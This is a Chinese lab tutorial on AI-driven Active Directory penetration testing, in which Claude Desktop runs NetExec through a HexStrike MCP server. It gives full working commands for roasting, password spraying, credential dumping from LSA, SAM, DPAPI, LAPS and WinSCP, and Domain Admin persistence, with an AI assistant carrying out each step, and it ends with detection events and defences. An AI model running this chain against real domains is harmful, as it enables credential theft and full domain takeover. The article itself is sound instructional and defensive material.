AI驱动Active Directory渗透测试:HexStrike AI实战指南

导语:本文手把手演示如何用AI驱动的方式完成一次完整的Active Directory渗透测试。通过HexStrike AI MCP服务器将Claude Desktop与NetExec连接,用自然语言指令替代手工敲命令,从域名枚举到拿下域管理员,全程用英文提问,AI自动选工具、拼命令、跑脚本、返回可直接粘贴到报告里的结果。

目录

  • 简介
  • 实验环境
  • 安装HexStrike AI
  • 启动HexStrike服务器
  • 连接Claude Desktop
  • 枚举域用户
  • 枚举域组
  • AS-REP Roasting攻击
  • 破解AS-REP Hash
  • Kerberoasting攻击
  • 枚举adminCount对象
  • 枚举Pre-Windows 2000计算机账户
  • 寻找委派配置
  • 枚举杀毒软件和EDR
  • 枚举用户描述字段
  • 枚举域密码策略
  • 枚举域内计算机
  • 枚举共享文件夹
  • Zerologon漏洞检测(CVE-2020-1472)
  • SMBGhost漏洞检测(CVE-2020-0796)
  • NTLM强制认证与反射
  • 密码喷洒——突破域管理员
  • 枚举磁盘
  • 开启RDP远程桌面
  • 交互式RDP登录
  • 重置域用户密码
  • 导出LSA Secrets
  • 导出SAM数据库
  • 读取LAPS密码
  • 窃取WinSCP保存的会话
  • 掠夺DPAPI和凭证管理器
  • 建立持久化——创建域用户
  • 提权——将用户加入Domain Admins
  • 收集事件日志
  • DCSync检测特征——事件4662
  • NetExec命令速查
  • 防御建议
  • 总结

一、简介

HexStrike AI通过MCP(Model Context Protocol)协议对外暴露150多个攻击型安全工具。MCP是一个开放标准,让AI助手能够以结构化的方式调用外部工具。一旦Claude Desktop连接上HexStrike AI服务器,AI就能充当你的”操作员”:你用英文描述一个技术动作,AI自动选择合适的工具和模块、补全参数、执行命令、解释结果。

在这个工作流里,NetExec(nxc)是真正干活的引擎——一个现代化的网络协议工具,支持SMB、LDAP和WinRM协议,集成了本文所有攻击技术所需的模块。

这种模式的核心价值在于”自我文档化”。你用英文提出需求,AI运行对应工具,返回一份结构清晰、可直接复制到渗透测试报告里的结果。对于想学习AD攻击路径但又不想一开始就记住所有命令参数的人来说,这是绝佳的学习路径。

整个渗透测试分为三个阶段,层层递进:

第一阶段:信息收集(Reconnaissance)——纯只读操作,通过LDAP和SMB查询摸清域内的攻击面。

第二阶段:漏洞利用(Exploitation)——先做无害化的CVE检测,然后做一次密码喷洒,拿下域管理员。

第三阶段:后渗透(Post-Exploitation)——利用已获取的域管理员身份,窃取凭证、建立持久化,最后切换到防守者视角,查看整个攻击过程在Windows事件日志里留下了什么痕迹。

贯穿三个阶段的铁律:只读操作优先,CVE检测无害化,所有写入操作都限定在我们控制的实验机器上。


二、实验环境

下图展示了对 ignite.local 域名发起AI驱动的Active Directory渗透测试的完整环境。攻击者使用一台 Kali Linux 工作站,通过 NetExec 做AD枚举,同时运行 HexStrike AI(一个暴露150+攻击工具的MCP服务器)。渗透测试针对两台域控制器:DC1(192.168.1.7)和DC2(192.168.1.11)。

整个攻击链路围绕三个凭证展开:

凭证角色
raaz / Password@1低权限初始立足点
Administrator / Ignite@987密码喷洒后获取的域管理员
raj / Password@2渗透过程中被重置的密码,拥有LAPS委派读取权限

本文所有攻击均经过授权,仅限于实验环境。

实验环境拓扑图

三、安装HexStrike AI

HexStrike AI已收录在Kali官方软件源中,用apt一条命令即可安装。安装脚本会自动拉取所有Python依赖,无需手动克隆或编译:

sudo apt install hexstrike-ai
HexStrike AI安装界面

安装完成后,apt会报告最新版本已就绪,工具包随时可以启动。在新装的Kali上,会看到完整的包下载和安装过程。


四、启动HexStrike服务器

MCP客户端需要连接一个本地API服务器,这个服务必须在打开Claude Desktop之前启动。服务器绑定在 127.0.0.1:8888,并启动一个进程池来并行运行工具命令。

启动命令:

hexstrike_server
HexStrike服务器启动界面

服务器上线后,会在终端里报告缓存大小、命令超时时间和增强型可视化引擎的状态。整个渗透测试过程中保持这个终端运行——一旦服务停止,Claude就失去了所有工具的访问能力。


五、连接Claude Desktop

Claude Desktop通过一个JSON配置文件来管理MCP服务器。项目README里给出了完整的配置块,包括命令路径、参数和服务器地址。

第一步:打开Claude Desktop,点击左下角账户名,进入Settings

Claude Desktop设置入口

第二步:在Settings里找到Desktop app分类下的Developer选项。

Developer选项

第三步:在Developer页面的Local MCP servers区域,点击Edit Config

编辑MCP配置文件

第四步:配置文件 claude_desktop_config.json 位于 ~/.config/Claude/。确认文件位置后,用以下内容覆盖:

{
  "mcpServers": {
    "hexstrike-ai": {
      "command": "hexstrike_mcp",
      "args": [
        "--server",
        "http://127.0.0.1:8888"
      ],
      "description": "HexStrike AI Security Tools",
      "timeout": 300
    }
  }
}
MCP配置文件内容
配置完成效果

第五步:保存配置文件后,重启Claude Desktop,返回Developer → Local MCP servers页面,确认连接器已报告运行状态,说明Claude已成功连接到HexStrike的所有工具。

Claude连接HexStrike成功

六、枚举域用户

首先获取完整的账户列表。这是针对DC1的纯只读LDAP枚举,使用raaz的凭证。枚举结果将绘制出整个攻击面——在不触碰任何目标的情况下。

向Claude提问:

find all domain users

Claude在后台执行的命令:

nxc ldap 192.168.1.7 -u raaz -p 'Password@1' --users
域用户枚举结果
NetExec --users模块输出
用户枚举续表

Claude返回了完整的23个账户列表,并对每个账户进行了攻击路径标注——标注哪些账户可被AS-REP Roast、哪些是Kerberoasting目标、哪些属于特权组。这份表格就是后续所有攻击的目标清单。


七、枚举域组

光有用户名不足以判断谁真正掌控域内权限,组Membership才是关键。向Claude提问:

Enumerate Domain Groups

Claude执行的命令:

nxc ldap 192.168.1.7 -u raaz -p 'Password@1' --groups
域组枚举结果
NetExec --groups模块输出

枚举结果揭示了权限的真实分布:

  • Krishna:非默认域管理员
  • Ram:属于Backup Operators和Remote Management Users组
  • Sita:持有Key Admins权限
  • Sanjeet:在gMSA组内

每一个组Membership都是一条独立的可攻击路径。


八、AS-REP Roasting攻击

AS-REP Roasting针对启用了”不需要Kerberos预认证”的账户。任何未认证用户都可以请求这些账户的可破解Hash。向Claude提问:

Enumerate ASREPRoast

Claude找到 komal 账户(UAC flag 0x400000,即DONT_REQ_PREAUTH),但遇到了KDC路由问题。解决方法是将KDC固定在DC1:

nxc ldap 192.168.1.7 -u raaz -p 'Password@1' --asreproast /tmp/asrep_ignite.txt --kdcHost 192.168.1.7

捕获的Hash存入了 /tmp/asrep_ignite.txt,准备破解。

AS-REP Roasting枚举结果

九、破解AS-REP Hash

抓到的Hash不破解就毫无意义。将Hash喂给hashcat,模式18200,字典用rockyou.txt。向Claude提问:

crack hash with rockyou.txt

实际执行的命令:

hashcat -m 18200 /tmp/asrep_ignite.txt /usr/share/wordlists/rockyou.txt
Hashcat破解过程

komal 的密码 Password@1 在几秒内被破解。有趣的是,这个密码和认证账户raaz的密码完全相同——两个发现叠加在一起:一个可Roast的账户 + 一个弱密码复用,这就是真实入侵场景中特权提升的典型路径。


十、Kerberoasting攻击

Kerberoasting针对配置了SPN(Service Principal Name,服务主体名)的账户。任何认证用户都可以请求TGS票据,然后离线破解服务账户密码。向Claude提问:

Enumerate Kerberoasting

执行的命令:

nxc ldap 192.168.1.7 -u raaz -p 'Password@1' --kerberoasting /tmp/kerb_ignite.txt --kdcHost 192.168.1.7
Kerberoasting枚举结果

两个账户 rajkavish 返回了RC4(etype 23)票据,可喂给hashcat模式13100进行破解。


十一、枚举adminCount对象

adminCount=1 标记了所有曾经是或当前是受保护组成员的账户。这是AD的AdminSDHolder进程自动打上的标记,会暴露”过期的特权”。向Claude提问:

Enumerate Admin Count

后台执行的命令:

nxc ldap 192.168.1.7 -u raaz -p 'Password@1' --admin-count
adminCount对象枚举

发现5个对象带有该标记,包括 krishnaramsita。adminCount陈旧条目是”被遗忘的可利用特权”的经典来源。


十二、枚举Pre-Windows 2000计算机账户

Pre-2k攻击针对那些计算机账户密码仍然是默认可预测值的机器——即小写计算机名、截断到14个字符的密码。向Claude提问:

Enumerate Pre2k Computer Account Abuse

后台执行的命令:

nxc ldap 192.168.1.7 -u raaz -p 'Password@1' -M pre2k --kdcHost 192.168.1.7
Pre2k计算机账户枚举

DEMO$ 被标记为预创建候选账户并写入磁盘。


十三、寻找委派配置

委派配置错误是AD中最具影响力的高危发现之一。换到第二台DC,列出所有配置了Kerberos委派的账户。向Claude提问:

find delegation

后台执行的命令:

nxc ldap 192.168.1.11 -u raaz -p 'Password@1' --find-delegation
委派配置枚举结果

这台DC返回了4个发现,每个都是独立的攻击原语:

  • 约束性委派+协议转换(kavish,针对MSSQL SPN)
  • 无约束委派(WIN-SQL$)
  • 两个基于资源的约束性委派(fakepc$ 和 fakecomp$,均指向 DC$)

最后一组直接构成了通向域控制器的攻击路径。


十四、枚举杀毒软件和EDR

了解目标机器上运行什么安全防护,会影响后续所有决策。NetExec的 enum_av 模块查询SecurityCenter2 WMI命名空间。向Claude提问:

Enumerate Anti-Virus & EDR

后台执行的命令:

nxc smb 192.168.1.7 -u raaz -p 'Password@1' -M enum_av
AV/EDR枚举结果

只注册了Windows Defender,没有第三方EDR。


十五、枚举用户描述字段

用户描述字段是经典的信息收集突破口——管理员有时会在这里存放密码或备注。向Claude提问:

Enumerate User Descriptions

HexStrike通过LDAP运行 get-desc-users 模块:

nxc ldap 192.168.1.7 -u raaz -p 'Password@1' -M get-desc-users
用户描述字段枚举

7个账户设置了描述字段,实验环境的设计者有意用这个字段标注了每个账户对应的攻击演示:

  • raj:Kerberoasting演示账户
  • aarti:LAPS演示账户
  • shivam:DCSync演示账户
  • komal:AS-REP Roasting演示账户

任何描述文本都是一个活线索。


十六、枚举域密码策略

密码策略是防御建议章节的核心数据。向Claude提问:

Enumerate Domain Password Policy

后台执行的命令:

nxc smb 192.168.1.7 -u raaz -p 'Password@1' --pass-pol
域密码策略枚举结果

账户锁定阈值(Account Lockout Threshold)为”无”(None),再加上最低7位的弱密码长度要求——这正是密码喷洒能够安全进行并大概率成功的原因。


十七、枚举域内计算机

把计算机账户映射到具体主机,将前面的所有发现串联起来。向Claude提问:

Enumerate Computers

后台执行的命令:

nxc ldap 192.168.1.11 -u raaz -p 'Password@1' --computers
域内计算机枚举

6个计算机账户对应关系:

计算机角色
DC$RBCD攻击目标
WIN-SQL$无约束委派机器
MyGMSA$gMSA服务账户
fakepc$ / fakecomp$RBCD接管对象
MSEDGEWIN10$Windows 10客户端,持有LAPS管理的本地管理员密码

十八、枚举共享文件夹

--shares 列出所有可访问的SMB共享及访问级别。向Claude提问:

Enumerate Share Folder

后台执行的命令:

nxc smb 192.168.1.7 -u raaz -p 'Password@1' --shares
共享文件夹枚举结果

DC1返回:ADMIN$、C$、IPC$、NETLOGON、SYSVOL,以及C:Users下的自定义Users共享。对ADMIN$和C$拥有写访问权限。SYSVOL永远值得细查。


十九、Zerologon漏洞检测(CVE-2020-1472)

NetExec的zerologon模块是纯检测性质,不会执行那项具有破坏性的机器账户密码重置。向Claude提问:

enumerate zerologon

后台执行的命令:

nxc smb 192.168.1.11 -u raaz -p 'Password@1' -M zerologon
Zerologon漏洞检测结果

DC对该CVE-2020-1472漏洞不感。模块遍历了所有加密尝试均未成功,说明Netlogon安全通道修复已生效。


二十、SMBGhost漏洞检测(CVE-2020-0796)

SMBGhost是SMBv3.1.1压缩漏洞。NetExec的检测是无害化的。向Claude提问:

enumerate smbghost

后台执行的命令:

nxc smb 192.168.1.11 -u raaz -p 'Password@1' -M smbghost
SMBGhost漏洞检测结果

模块运行后没有返回漏洞发现,DC不存在此漏洞


二十一、NTLM强制认证与反射

与上面已修补的CVE不同,这是一个真实存在的发现coerce_plus 模块检查多个RPC接口,允许你强制DC向你所控制的主机发起认证。向Claude提问:

enumerate ntlm_reflection

后台执行的命令:

nxc smb 192.168.1.11 -u raaz -p 'Password@1' -M coerce_plus
NTLM强制认证检测结果

这是192.168.1.11上最重大的发现。 DFSCoerce、PetitPotam、PrinterBug和MSEven均报告VULNERABLE。结合无约束委派机器WIN-SQL$,这是一条真实的强制认证→DCSync攻击路径


二十二、密码喷洒——突破域管理员

密码喷洒是用一个密码去试所有账户。因为锁定阈值为”无”,一轮喷洒是安全的。向Claude提问:

password spraying on all users with password Ignite@987

HexStrike执行:

nxc smb 192.168.1.7 -u users.txt -p 'Ignite@987' --continue-on-success
密码喷洒过程

一个命中:ignite.localAdministrator : Ignite@987 (Pwn3d!)——相当于从单个喷洒密码直接实现了对整个域的完全控制。


二十三、枚举磁盘

拿到管理员凭证后,先确认访问权限。向Claude提问:

Disks

后台执行的命令:

nxc smb 192.168.1.7 -u Administrator -p 'Ignite@987' --disks
磁盘枚举结果

DC1返回了C盘和D盘。非默认的D盘值得后续跟进——往往存放着备份或临时文件。


二十四、开启RDP远程桌面

现在在已拿下的机器上执行写入操作。NetExec的rdp模块一次性完成:翻转fDenyTSConnections并添加防火墙规则。向Claude提问:

enable rdp

后台执行的命令:

nxc smb 192.168.1.7 -u Administrator -p 'Ignite@987' -M rdp -o ACTION=enable
开启RDP远程桌面

RDP已在DC上成功开启,主机正在监听TCP 3389。


二十五、交互式RDP登录

脱离MCP工作流,用标准RDP客户端连接:

xfreerdp /v:192.168.1.7 /u:Administrator /p:'Ignite@987' /cert:ignore
交互式RDP登录

会话直接进入域控制器的服务器管理器,以域管理员身份获得完整的图形化桌面。


二十六、重置域用户密码

有了域管理员权限,重置用户密码是解决账户过期问题的干净方案。通过WinRM用admin账户执行。向Claude提问:

please change raj password

执行的命令:

nxc winrm 192.168.1.7 -u Administrator -p 'Ignite@987' -x "net user raj Password@2 /domain"
重置域用户密码

raj的密码现在是 Password@2。管理员重置同时也清除了过期状态,拿到了第二十九节读取LAPS所需的有效凭证。


二十七、导出LSA Secrets

凭证窃取通过NetExec的SMB协议进行。向Claude提问:

dump --lsa file

后台执行的命令:

nxc smb 192.168.1.11 -u Administrator -p 'Ignite@987' --lsa
导出LSA Secrets

LSA导出成功——从DC中提取了7个secret。 最有价值的是DC$机器账户的NTLM Hash以及AES256/AES128/DES Kerberos密钥,是制作Silver Ticket/Golden Ticket的直接素材。


二十八、导出SAM数据库

向Claude提问:

dump SAM

后台执行的命令:

nxc smb 192.168.1.7 -u Administrator -p 'Ignite@987' --sam
导出SAM数据库

从DC1中抓到了三个Hash。本地Administrator(RID 500)的Hash是独立设置的,与域Administrator不同。Guest和DefaultAccount均显示空密码的NTLM Hash——以后见到这种特征要能一眼识别出来。


二十九、读取LAPS密码

LAPS模块读取账户被授权查看的任何LAPS管理的本地管理员密码。使用raj凭证。向Claude提问:

dump laps password

后台执行的命令:

nxc ldap 192.168.1.7 -u raj -p 'Password@2' --laps
读取LAPS密码

读取成功——通过LDAP直接返回了MSEDGEWIN10的明文本地管理员密码,仅仅利用了raj对计算机对象的ReadLAPSPassword权限,没有任何漏洞利用。


三十、窃取WinSCP保存的会话

WinSCP将会话凭证保存在注册表或WinSCP.ini中,加密方案薄弱且可逆。NetExec的winscp模块定位并解密。向Claude提问:

dump winscp

后台执行的命令:

nxc smb 192.168.1.7 -u Administrator -p 'Ignite@987' -M winscp
窃取WinSCP会话

在DC1的Administrator注册表配置单元中找到并解密了一个保存的会话:pentest@192.168.1.19,用户名 pentest,密码 123。这是另一台机器的明文凭证,这就是应用程序存储给我们带来的横向移动线索。


三十一、掠夺DPAPI和凭证管理器

DPAPI是Windows凭证管理器、密钥库和浏览器保存登录名的核心存储。dpapi 模块解密这些数据_blob。向Claude提问:

dump credential manager

后台执行的命令:

nxc smb 192.168.1.7 -u Administrator -p 'Ignite@987' --dpapi
掠夺DPAPI和凭证管理器

DPAPI掠夺有实际收获。 解密了4个主密钥,从DC1的Administrator配置文件里抓到了两个Firefox保存的登录名。域控制器不是用户正常存储网络凭证的地方,最丰富的DPAPI攻击目标是客户端机器。在每台落地的机器上都跑一遍这个模块。


三十二、建立持久化——创建域用户

创建一个账户轻而易举,而且能给你一个 durable 的回访通道。向Claude提问:

create a new user name nishant with password Password@2

执行的命令:

nxc winrm 192.168.1.7 -u Administrator -p 'Ignite@987' -x "net user nishant Password@2 /add /domain"
创建域用户Nishant

Nishant 现在作为域用户存在于IGNITE.LOCAL中,密码为 Password@2,默认落入Domain Users组,下一步就是给它加特权。


三十三、将用户加入Domain Admins

把新账户加入Domain Admins组,把普通用户变成完全域控权限。向Claude提问:

add nishant user in domain admins group

执行的命令:

nxc winrm 192.168.1.7 -u Administrator -p 'Ignite@987' -x "net group "Domain Admins" nishant /add /domain"
将Nishant加入Domain Admins

Nishant现在是Domain Admins成员。 你持有一个独立于原始密码喷洒之外的、攻击者可控的第二个域管理员账户——这就是持久化的最终收益。


三十四、收集事件日志

切换视角。在已控制的DC上导出Security事件日志,为防御部分提供原始素材。向Claude提问:

dump event logs

后台执行的命令:

nxc winrm 192.168.1.7 -u Administrator -p 'Ignite@987' -x "wevtutil qe Security /c:15 /rd:true /f:text"
收集事件日志

导出了最近15条Security事件,这些事件正是我们自己的攻击行为生成的痕迹


三十五、DCSync检测特征——事件4662

事件ID 4662,目录服务访问。属性GUID 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 是DS-Replication-Get-Changes,即DCSync和复制所使用的控制访问权限。4662事件引用这个GUID就是DCSync的规范化检测签名。

事件4662 DCSync检测

图中看到的是DC1$本身——这是合法的DC间复制,但事件形态与攻击者的DCSync完全相同。防守方应该在4662事件的属性GUID为复制权限、且主体账户不是域控制器时触发告警。

将事件与攻击步骤对照,就得到了报告的防御素材:

攻击动作关联事件
账户创建 / DA提权4720(用户创建)和4728/4732(加入特权组),最高可信度告警
DCSync / 凭证复制4662,携带复制权限属性GUID
横向移动 / PTH4624,Type 3,成员服务器上的NTLM包
NTDS / VSS活动System日志中的8222 / 4656和VSS服务事件

高可信度事件过滤查询:

wevtutil qe Security /q:"*[System[(EventID=4720 or EventID=4728)]]" /f:text

三十六、NetExec命令速查

以下是整个渗透过程中用到的NetExec命令参考,按协议分类。

向Claude提问:

list of all working nxc commands which can run here

SMB认证与枚举

SMB协议覆盖凭证验证和大多数主机及域枚举功能:

# 共享枚举
nxc smb 192.168.1.7 -u raaz -p 'Password@1' --shares

# 登录用户枚举
nxc smb 192.168.1.7 -u raaz -p 'Password@1' --loggedon

# 域用户枚举
nxc smb 192.168.1.7 -u raaz -p 'Password@1' --users

# 域组枚举
nxc smb 192.168.1.7 -u raaz -p 'Password@1' --groups

# 密码策略
nxc smb 192.168.1.7 -u raaz -p 'Password@1' --pass-pol

# 会话枚举
nxc smb 192.168.1.7 -u Administrator -p 'Ignite@987' --sessions

# 磁盘枚举
nxc smb 192.168.1.7 -u Administrator -p 'Ignite@987' --disks

# RID暴力破解
nxc smb 192.168.1.7 -u raaz -p 'Password@1' --rid-brute

# 计算机枚举
nxc smb 192.168.1.7 -u raaz -p 'Password@1' --computers
SMB命令参考表
SMB枚举命令详解

SMB凭证访问

这些是全文用到的凭证提取模块:

# 导出SAM数据库
nxc smb 192.168.1.7 -u Administrator -p 'Ignite@987' --sam

# 导出LSA Secrets
nxc smb 192.168.1.7 -u Administrator -p 'Ignite@987' --lsa

# 导出NTDS.dit
nxc smb 192.168.1.7 -u Administrator -p 'Ignite@987' --ntds

# 通过VSS导出NTDS
nxc smb 192.168.1.7 -u Administrator -p 'Ignite@987' --ntds-vss

# DPAPI解密
nxc smb 192.168.1.7 -u Administrator -p 'Ignite@987' --dpapi
SMB凭证访问命令

LDAP专属模块

LDAP协议承载目录聚焦的攻击:

# BloodHound全量收集
nxc ldap 192.168.1.7 -u raaz -p 'Password@1' --bloodhound --collection All --dns-server 192.168.1.7

# Kerberoasting
nxc ldap 192.168.1.7 -u raaz -p 'Password@1' --kerberoasting /tmp/kerb.txt --kdcHost 192.168.1.7

# AS-REP Roasting
nxc ldap 192.168.1.7 -u raaz -p 'Password@1':1' --asreproast /tmp/asrep.txt --kdcHost 192.168.1.7

# 委派发现
nxc ldap 192.168.1.11 -u raaz -p 'Password@1' --find-delegation

# 密码不需要预认证账户
nxc ldap 192.168.1.7 -u raaz -p 'Password@1' --password-not-required

# adminCount对象
nxc ldap 192.168.1.7 -u raaz -p 'Password@1' --admin-count

# gMSA账户
nxc ldap 192.168.1.7 -u raaz -p 'Password@1' --gmsa

# LAPS密码读取
nxc ldap 192.168.1.7 -u raj -p 'Password@2' --laps
LDAP命令参考表

三十七、防御建议

基于整个渗透测试过程,以下是针对每类发现的防御措施:

锁定账户阈值 设置账户锁定阈值并配备重置窗口。空阈值正是让单次密码喷洒可以安全进行的原因;合理的阈值能直接阻止喷洒攻击。

提升密码复杂度 将最低密码长度提升至14位或更高,强制复杂度要求,禁止弱密码或重复使用密码。单个喷洒的Ignite@987直接打到了Domain Admin,komal和raaz的密码复用更是说明了重复使用密码的危害。

强制Kerberos预认证 通过移除DONT_REQ_PREAUTH标志,强制所有账户进行Kerberos预认证,从根本上阻止AS-REP Roasting攻击。

服务账户使用长随机密码并强制AES加密 为服务账户和gMSA账户使用长随机密码,强制仅允许AES加密类型,以削弱Kerberoasting攻击效果。

定期审计adminCount和委派配置 清理过期的adminCount=1对象和未使用或过多的委派权限。

重置Pre-Windows 2000计算机账户密码 重置所有预创建的计算机账户,绝不能使用默认密码。

禁止在描述字段存储敏感信息 将描述字段视为世界可读,永远不要在里面存密码或敏感备注。

保持域控制器补丁更新 Zerologon(CVE-2020-1472)和SMBGhost(CVE-2020-0796)在本文实验中均为阴性,要保持这种修复状态。

缓解NTLM强制认证和Relay攻击 强制SMB签名和扩展保护认证(EPA),修补MS-EFSR/PetitPotam漏洞,限制Print Spooler和DFS RPC接口。

清除应用程序中的保存凭证 WinSCP的可逆加密意味着保存的会话等于明文凭证——使用密钥认证,不要保存密码。

不要在域控制器上浏览网页或保存凭证 DPAPI掠夺之所以成功,纯粹是因为有人在DC配置文件里保存了登录凭证。

保护DPAPI主密钥 通过分层管理严格限制谁能运行LSA、SAM和NTDS提取,因为这些导出操作解锁了下游所有凭证解密。

收紧LAPS ACL 只允许指定角色读取ms-Mcs-AdmPwd,审计委派密码重置权限,防止单一用户既可读托管密码又可重置账户。

在域控制器上部署有篡改保护的真实EDR 而非仅依赖内置的Defender。

限制并监控DC上的RDP开启和远程WMI/WinRM执行 对fDenyTSConnections的变更进行告警。

对持久化行为告警 事件4720(用户创建)和4728/4732(加入特权组)是高可信度告警,应立即通知。

对DCSync行为告警 事件4662携带复制权限属性GUID、且主体账户不是域控制器时触发。


总结

这次渗透测试完整走完了Active Directory攻击的全流程——以及它的防御镜像——全程通过一个引导式对话完成。HexStrike AI和Claude Desktop将每个技术动作转化为自然语言提示词,NetExec在底层通过SMB、LDAP和WinRM执行真正的操作。

只读枚举摸清了域内的用户、组、Kerberos弱点、密码策略、计算机和共享资源。CVE检测排除了Zerologon和SMBGhost,但确认了一条活跃的NTLM强制认证路径。一次密码喷洒——因为没有设置锁定阈值所以安全——将低权限立足点直接变成Domain Admin。后渗透链条顺势展开:RDP访问、密码重置、从LSA/SAM/LAPS批量导出凭证、应用程序和DPAPI秘密的收割、以及一个全新的Domain Admin账户用于持久化。最后读取Security事件日志闭合了整个循环,展示了每步操作留下的确切痕迹,以及防守方如何捕获它们。

三个阶段的贯穿主线始终如一:每一步都由一个提示词驱动,由NetExec执行,以可直接写入报告的格式捕获结果。搭建实验环境,完整跑一遍攻击链,研究攻击和检测两个层面——因为只懂一半,就只完成了工作的一半。

版权声明:本文由华盟网原创发布,保留所有权利。配图由华盟网授权使用。

© 版权声明
THE END
喜欢就支持一下吧
点赞8 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容